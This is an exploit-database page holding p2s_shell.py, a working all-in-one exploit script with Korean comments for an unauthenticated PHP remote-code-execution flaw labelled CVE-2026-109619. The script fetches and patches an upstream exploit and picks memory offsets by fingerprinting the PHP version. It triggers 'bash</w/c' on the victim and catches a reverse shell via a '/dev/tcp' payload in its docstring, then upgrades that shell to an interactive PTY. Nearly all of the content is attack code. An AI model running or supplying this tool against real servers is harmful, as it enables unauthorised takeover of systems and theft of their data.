Exploit databaseDownload repository ZIP
GH-9c5d9d960e19d2ad75a82619d94ebd4c
eqstlab/cve-2026-109619
Sources for CVE-2026-109619
16 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
eqstlab/cve-2026-109619Revision 17b9c0b7adaf
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
p2s_shell.py
Python · 9,981 bytes#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
p2s_shell.py — PHP2Shell 올인원 PoC (별도 nc 리스너 불필요).
한 프로세스가 전부 함:
1) 역접속 받을 TCP 리스너를 '직접' 연다(소켓).
2) 9bie exploit.py를 subprocess로 실행해 `bash</w/c`를 트리거(미인증 RCE).
3) victim이 역접속해 오면 그 셸을 대화형(기본) 또는 배치(--run)로 넘긴다.
전제: victim의 /w/c 에 역접속 페이로드가 있어야 함 —
bash -i >& /dev/tcp/<이 호스트 IP>/<LPORT> 0>&1
(14바이트 명령 제한 때문에 긴 페이로드는 파일+`bash<`로 실행하는 9bie 방식.)
--stage-ip 를 주면 이 스크립트가 /w/c 가 가리킬 IP만 확인용으로 출력한다.
예:
python3 p2s_shell.py -u http://172.17.0.2/index.php # 대화형 셸
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a' # 배치
"""
from __future__ import annotations
import argparse, glob, json, os, re, select, shutil, socket, subprocess, sys, tempfile, threading, time, urllib.request
BASE = os.path.dirname(os.path.abspath(__file__)) # 모든 경로의 기준(상대)
DEF_EXPLOIT = os.path.join(BASE, "vendor", "exploit.py") # 9bie 원본은 fetch해서 vendor/에(자동 생성)
DEF_PROFILES = os.path.join(BASE, "profiles")
UPSTREAM_URL = "https://github.com/9bie/php2shell-bypass-aslr-exp.git"
UPSTREAM_PIN = "4586f5c"
def ensure_exploit(path):
"""9bie exploit.py 가 없으면 핀 커밋에서 받아 vendor/에 둔다(우리 레포엔 exploit.py 미보관)."""
if os.path.isfile(path):
return
os.makedirs(os.path.dirname(path), exist_ok=True)
tmp = tempfile.mkdtemp(prefix="p2s-up-")
try:
print(f"[*] fetching upstream exploit.py (9bie {UPSTREAM_PIN})")
subprocess.run(["git", "clone", "--quiet", UPSTREAM_URL, tmp], check=True)
subprocess.run(["git", "-C", tmp, "checkout", "--quiet", UPSTREAM_PIN], check=True)
shutil.copy(os.path.join(tmp, "exploit.py"), path)
finally:
shutil.rmtree(tmp, ignore_errors=True)
def fingerprint_version(url):
"""X-Powered-By: PHP/x.y.z 에서 대상 PHP 버전 추출(없으면 None)."""
try:
with urllib.request.urlopen(urllib.request.Request(url), timeout=5) as r:
m = re.search(r"PHP/(\d+\.\d+\.\d+)", r.headers.get("X-Powered-By", ""))
return m.group(1) if m else None
except Exception:
return None
def pick_profile(profiles_dir, version, arch):
"""(버전+arch) 맞는 프로파일 JSON을 '실행 시점에' 골라 오프셋을 읽는다(다중 버전 대응)."""
for p in sorted(glob.glob(os.path.join(profiles_dir, "*.json"))):
try:
d = json.load(open(p, encoding="utf-8"))
except Exception:
continue
if d.get("arch") == arch and (not version or d.get("php") == version):
d["_path"] = p
return d
return None
def ensure_wsl2_patch(exploit, forge_len=None):
"""원본 exploit를 이 환경에 맞게 보정(idempotent):
- 포인터 검증 범위 확장: WSL2는 libphp를 0x7c…에 매핑해 원본의 0x7F 범위검증이 유효 누출을 버림.
- stage1 forge 패딩 길이를 프로파일 값으로: 호스트 힙 상태에 맞는 그루밍(원본 79 하드코딩)."""
try:
src = open(exploit, encoding="utf-8").read()
except OSError:
return
orig = src
src = src.replace("0x7F0000000000", "0x10000").replace("0x800000000000", "0x1000000000000")
if forge_len:
src = src.replace('b"A" * 79', f'b"A" * {forge_len}')
if src != orig:
open(exploit, "w", encoding="utf-8").write(src)
def main() -> int:
ap = argparse.ArgumentParser(description="PHP2Shell all-in-one: listener + trigger + shell")
ap.add_argument("-u", "--url", required=True, help="victim index.php URL")
ap.add_argument("--lport", type=int, default=4444, help="역접속 수신 포트(=/w/c의 포트)")
ap.add_argument("--exploit", default=DEF_EXPLOIT, help="9bie exploit.py (기본=스크립트폴더/exploit.py, 상대)")
ap.add_argument("--profiles", default=DEF_PROFILES, help="오프셋 프로파일 폴더 (기본=스크립트폴더/profiles)")
ap.add_argument("--php-version", default=None, help="대상 PHP 버전(미지정 시 X-Powered-By 자동탐지)")
ap.add_argument("--arch", default="amd64")
ap.add_argument("--huge-mb", type=int, default=None, help="OOM 유발 바디 크기(MiB), 대상 memory_limit 초과. 미지정 시 프로파일 값")
ap.add_argument("--cmd", default="bash</w/c", help="익스로 실행할 명령(≤14B). 기본 bash</w/c")
ap.add_argument("--profile", default=None, help="상위 9bie 프로파일(미지정 시 JSON의 upstream_profile)")
ap.add_argument("--retries", type=int, default=6)
ap.add_argument("--run", default=None, help="배치: ;로 구분된 명령들을 실행하고 출력 후 종료")
ap.add_argument("--pty", dest="pty", action="store_true", default=True, help="접속 시 PTY로 승격(기본 ON)")
ap.add_argument("--no-pty", dest="pty", action="store_false", help="PTY 승격 끄기(순수 dumb 셸)")
ap.add_argument("--timeout", type=float, default=120.0, help="역접속 대기 한계(초)")
args = ap.parse_args()
try:
ensure_exploit(args.exploit)
except Exception as e:
print(f"[!] exploit.py 준비 실패({e}). git/네트워크 확인 또는 --exploit 지정.", file=sys.stderr); return 2
# 실행 시점에 대상 버전 핑거프린팅 → 맞는 JSON 프로파일에서 오프셋 로드(절대경로/구운 offsets.env 의존 X)
ver = args.php_version or fingerprint_version(args.url)
prof = pick_profile(args.profiles, ver, args.arch)
if not prof:
print(f"[!] 맞는 프로파일 없음: version={ver} arch={args.arch} (dir={args.profiles})", file=sys.stderr); return 2
off = prof["offsets"]
up = args.profile or prof.get("base", "bookworm")
hugemb = args.huge_mb or prof.get("huge_mb")
print(f"[*] profile {os.path.basename(prof['_path'])}: PHP {prof.get('php')}/{prof.get('arch')} "
f"system={off['system']} dtor={off['dtor']} htdata={off['htdata']}")
ensure_wsl2_patch(args.exploit, prof.get("forge_len"))
# 1) 리스너 먼저 연다 (victim이 붙을 자리)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", args.lport)); srv.listen(2)
srv.settimeout(args.timeout)
print(f"[*] listening on 0.0.0.0:{args.lport}")
# 2) 익스를 백그라운드로 트리거 (리스너가 이미 열려 있으니 바로)
def fire():
time.sleep(1.0)
cmd = [sys.executable, args.exploit, "-u", args.url, "-c", args.cmd, "--profile", up,
"--zif-offset", off["system"], "--dtor-offset", off["dtor"],
"--htdata-offset", off["htdata"], "--proof-file", "", "--retries", str(args.retries)]
if hugemb:
cmd += ["--huge-mb", str(hugemb)]
print(f"[*] triggering exploit: {args.cmd} (offsets from JSON profile)")
subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
t = threading.Thread(target=fire, daemon=True); t.start()
# 3) 역접속 수신
try:
conn, addr = srv.accept()
except socket.timeout:
print(f"[!] {args.timeout}s 안에 역접속 없음. /w/c 의 IP/포트와 --lport 확인.", file=sys.stderr)
return 1
srv.close()
print(f"[+] reverse shell from {addr[0]}:{addr[1]}")
if args.run is not None:
# 배치 모드: 명령 보내고 출력 모아서 출력
time.sleep(0.8)
payload = "".join(c.strip() + "\n" for c in args.run.split(";")) + "echo __P2S_DONE__\nexit\n"
conn.sendall(payload.encode())
conn.settimeout(8.0)
buf = b""
try:
while b"__P2S_DONE__" not in buf:
d = conn.recv(4096)
if not d: break
buf += d
except socket.timeout:
pass
sys.stdout.write(buf.decode(errors="replace"))
sys.stdout.flush()
conn.close()
return 0
# 대화형 모드: stdin <-> socket 릴레이 (+PTY 승격 / 공격자 raw)
if args.pty:
# victim 쪽 TTY 승격: job control·프롬프트·vi/top/sudo 등 TTY 요구 프로그램 동작
conn.sendall(b"python3 -c 'import pty;pty.spawn(\"/bin/bash\")' 2>/dev/null"
b" || script -qc /bin/bash /dev/null 2>/dev/null\n")
conn.sendall(b"export TERM=xterm; stty rows 50 cols 120 2>/dev/null\n")
time.sleep(0.4)
_rawattr = None
if args.pty and sys.stdin.isatty():
# 공격자 터미널도 raw로 → 방향키·탭·Ctrl-C 가 victim으로 그대로 전달(풀 인터랙티브)
import termios, tty
_rawattr = termios.tcgetattr(sys.stdin)
tty.setraw(sys.stdin.fileno())
else:
print("[*] interactive shell — 종료: exit")
conn.setblocking(False)
try:
while True:
r, _, _ = select.select([conn, sys.stdin], [], [], 0.2)
if conn in r:
try: data = conn.recv(4096)
except BlockingIOError: data = b""
if data == b"":
if conn in r: print("\n[*] shell closed"); break
else:
os.write(sys.stdout.fileno(), data)
if sys.stdin in r:
chunk = os.read(sys.stdin.fileno(), 1024)
if not chunk: break
conn.sendall(chunk)
except KeyboardInterrupt:
pass
finally:
if _rawattr is not None:
import termios
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, _rawattr)
conn.close()
return 0
if __name__ == "__main__":
sys.exit(main())